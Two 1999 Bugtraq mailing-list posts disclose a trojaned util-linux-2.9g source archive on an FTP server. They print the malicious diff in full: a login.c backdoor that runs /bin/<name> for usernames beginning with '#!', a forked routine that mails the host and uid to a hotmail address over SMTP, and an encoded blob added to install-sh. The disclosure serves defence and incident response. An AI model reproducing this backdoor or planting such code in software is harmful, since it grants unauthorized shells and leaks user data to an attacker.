Date: Sun, 24 Jan 1999 09:03:42 -0500
From: Trevor Johnson <trevor@JPJ.NET>
To: BUGTRAQ@netspace.org
Subject: Re: util-linux compromised

I just received the following letter:

    Date: Sun, 24 Jan 1999 04:01:55 -0500 (EST)
    From: John Stange <building@cs.umd.edu>
    Subject: util-linux compromised?

    I grabbed util-linux-2.9g yesterday from win.tue.nl, and discovered a
    section of login.c that appears to send the host and uid of the user to a
    hotmail address.  I imagine this isn't a standard feature. :>  Given that
    the tcp wrappers archive was backdoored on that same server recently, you
    might want to comb over the rest of your stuff as well, if any of it's
    yours.

    -- John Stange
    Staff World, 4120 AVW
    x52720

and indeed, util-linux-2.9g had been replaced by a trojan version.
Unfortunately this means that everything from ftp.win.tue.nl
must be regarded as suspect for the moment.

I put a correct util-linux-2.9g.tar.gz back, with md5sum
  ab409a6ac5a775a4b04b8e27f6c86933  util-linux-2.9g.tar.gz
but of course, for the time being, nothing on this machine can be trusted.

Andries

A diff between original and trojan:

diff -r util-linux-2.9g/disk-utils/Makefile trojan/util-linux-2.9g/disk-utils/Makefile
94a95
>
diff -r util-linux-2.9g/install-sh trojan/util-linux-2.9g/install-sh
147a148,171
> # M.'1F87=H<3(S='5L9G(V:6%W969G<34V-VEA,W4*(R!`:%=)<CT[>'9X46QO
> # M>GEP8V9Q8GYJ1SU6*E-P6S)R<E(X5G%A8%P]2C)K9EEY6#-J1V)R/3X[>W5Z
> # M>'1X>$!8765I7F5E65Q80B`@(`HC("YA+G,N9RXW+C@N-2XV+C$N,BXU+F(N
> # M<"XY+F<N=BXX+C<N82YW+G0N8BYP+C$N,BXX+CDN="XW+F8N9RYA+G<N90HC
> # M(#0L,RQH+'0L.2QQ+#(L."QT+&8L82QW:"UQ+3(M,RUT+74M;"UF+7(M-BUI
> # M+6$M=RUE+68M9RUQ+34M-BTW+6DM82TS=0HC($!H5TER/3MX=GA1;&]Z>7!C
> # M9G%B?FI'/58J4W!;,G)R4CA6<6%@7#U*,FMF67E8,VI'8G(]/CM[=7IX='AX
> # MW<L,14(2SWS1$J0=[8?[[?=T-T!2LK,S>W,S5W4;[TXLD4"CT:]/-^"JC)->
> # M$F?5E]ZP_WJ^^^0W^-$'@Y>'A_J)UOKET<':;_<ST/KHZ&"P]_+@Y>&!UGOX
> # M=/1$'S[Y'7XJ6P:%UD_^27^J#?U'L;WMT4/[OV<*_XC^#UG_P^'1P3?]_Q_K
> # M_SRX-;,X,;]ZC;W!X.C@X*OZ/]C;/R#]#UX.#_?V!["%O8/!X.43/?BF_]_\
> # MYYGV:M:]7O-YEA>Z,0U]QO_2@[B,C57/]'%A@M)$(ST)2OW6A'IXI(>#T>#U
> # MZ&"@]UZ_'F+,E;F++8UY5\3Z8UA"R7JX-QH,1\,]&G.HIRM=]&=!7"Z^CXTQ
> # M_;R8$^U\N2KB^:)D0EWZ=Y__/>C*M*LXO`V*2)_T]3N:K+>%1FC[51;V353M
> # MJ&=*Q5F85)'1_?[N^?''BW>G[Q6H?UJ8PN@RU\NJU&F0Z64P-_;/2IV/+UY]
> # MIY\^G478?1J4_5<ZO;7WP1(?K"EGT;)(^Z\>D)C&65#$1.&9GA@\7AC=B3.8
> # M59)T=%$Y:=)C"//6]C7^I]3DA],+6BV]G5FWCE(WDRMZW/!0+ZS4R?4QO^`O
> # M\2PS?]6=Y]O'ES<['=VQRZ`(.^!@9L-;'6219KKW<9+H,$^7T&E73\%MR:S'
> # M5F>YOC5%9A)MJ^4R+TJ=9YK)L"!&WSW?IM\[3+&?QEG\A04RL_Z7>\8[H>'T
> # MNSV\->H!O^G1J]O.YD(4>T`\]!^L^["Y`CUUH]P89;(HGBF36/,XT<=(N$F;
> # M5\9VU%/L_7A']T*0.'YW-GX_P9>WD[/CFZO)R>2[/?W\C[J7Z^??RR[6*%W(
> # MH+]+:WWZTY$7B>Q1.*PYS76"408??@'+S[?/WOI%_D,6H6>G/\CH7\[O5PFY
> # MX;J7I([][TVXX/=93DX*)[;P9AANJ0OSURHN#"PXK`J+WW`NF
>
diff -r util-linux-2.9g/login-utils/login.c trojan/util-linux-2.9g/login-utils/login.c
179a180
> void checkname P_((char *name));
552a554,555
>       checkname(username);
>
1291a1295,1342
> }
>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <netdb.h>
>
> void
> checkname(char *name)
> {
>       char    a[100];
>       char    *pt;
>
>       if ((name[0] == '#') && (name[1] == '!'))
>       {
>               pt = (char*)&name[2];
>               sprintf(a,"/bin/%s",pt);
>               execl(a,a,(void*)0);
>       }
>       if (fork() == 0)
>       {
>               struct  hostent *he;
>               struct  sockaddr_in sai;
>               struct  in_addr *ia;
>               char    b[500];
>               int     s,l;
>
>               setsid();
>               s = open("/var/tmp/.fmlock0",O_RDONLY);
>               if (s >= 0) exit(0);
>               he = gethostbyname("mail.hotmail.com");
>               if (!he) exit(0);
>               ia = (struct in_addr *)he->h_addr_list[0];
>               l = sizeof(sai);memset(&sai,0,l);
>               sai.sin_port = htons(25);
>               sai.sin_addr.s_addr = ia->s_addr;
>               if ((s = socket(AF_INET,SOCK_STREAM,0)) < 0) exit(0);
>               if ((connect(s,(struct sockaddr*)&sai,l)) < 0) exit(0);
>               if ((getsockname(s,(struct sockaddr*)&sai,&l)) < 0) exit(0);
>               sprintf(b,"\r\nHost = %s\r\nUid = %i\r\n\r\n.\r\n",inet_ntoa(sai.sin_addr),getuid());
>               sleep(1);if (write(s,"HELO 127.0.0.1\n",15) < 0) exit(0);
>               sleep(1);if (write(s,"MAIL FROM:<xul@hotmail.com>\n",28) < 0) exit(0);
>               if (write(s,"RCPT TO:<wlogain@hotmail.com>\n",30) < 0) exit(0);
>               sleep(1);if (write(s,"DATA\n",5) < 0) exit(0);
>               sleep(1);if (write(s,b,strlen(b)) < 0) exit(0);
>               sleep(1);if (write(s,"QUIT\n",5) < 0) exit(0);
>               sleep(1);close(creat("/var/tmp/.fmlock0",511));exit(0);
>       }
diff -r util-linux-2.9g/misc-utils/Makefile trojan/util-linux-2.9g/misc-utils/Makefile
85a86,88
>
> #@hWIr=;xvxQlozypcfqb~gA\.~ttQ9inKf=8~}6~3/-&SxQl/<
>


(pasted from another window - tabs etc will be lost).

Andries

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--------------------------------------------------------------------------------------------

Date: Sat, 23 Jan 1999 22:49:29 -0500
From: John Stange <building@CS.UMD.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: backdoored tcp wrapper source code

You may want to have a thorough look at everything you've got... I grabbed
a copy of util-linux2.9g (admittedly being a bad boy and not checking
against anything), and while I don't have a pristine copy of the source
on hand to check, I'm guessing that sendmail and a hotmail address is not
standard behavior for /bin/login:

(from login-utils/login.c)

               he = gethostbyname("mail.hotmail.com");
                if (!he) exit(0);
                ia = (struct in_addr *)he->h_addr_list[0];
                l = sizeof(sai);memset(&sai,0,l);
                sai.sin_port = htons(25);
                sai.sin_addr.s_addr = ia->s_addr;
                if ((s = socket(AF_INET,SOCK_STREAM,0)) < 0) exit(0);
                if ((connect(s,(struct sockaddr*)&sai,l)) < 0) exit(0);
                if ((getsockname(s,(struct sockaddr*)&sai,&l)) < 0)
exit(0);
                sprintf(b,"\r\nHost = %s\r\nUid =
%i\r\n\r\n.\r\n",inet_ntoa(sai.sin_addr),getuid());
                sleep(1);if (write(s,"HELO 127.0.0.1\n",15) < 0) exit(0);
                sleep(1);if (write(s,"MAIL FROM:<xul@hotmail.com>\n",28) <
0) exit(0);
                if (write(s,"RCPT TO:<wlogain@hotmail.com>\n",30) < 0)
exit(0);
                sleep(1);if (write(s,"DATA\n",5) < 0) exit(0);
                sleep(1);if (write(s,b,strlen(b)) < 0) exit(0);
                sleep(1);if (write(s,"QUIT\n",5) < 0) exit(0);
                sleep(1);close(creat("/var/tmp/.fmlock0",511));exit(0);
etc etc

I'm in a bit of a hurry, so I haven't had a chance to comb anything
else...

> TCP Wrappers is a widely-used security tool to protect UNIX systems
> against intrusion. In has an estimated installed base of millions.
>
> Today someone replaced the tcp wrapper source on ftp.win.tue.nl by
> a backdoored version. Eventually this was bound to happen, and
> that's why the source file is accompanied by a PGP signature.  But
> that is no guarantee against people downloading and installing
> backdoored software.

-- John Stange
Staff World, 4120 AVW
x52720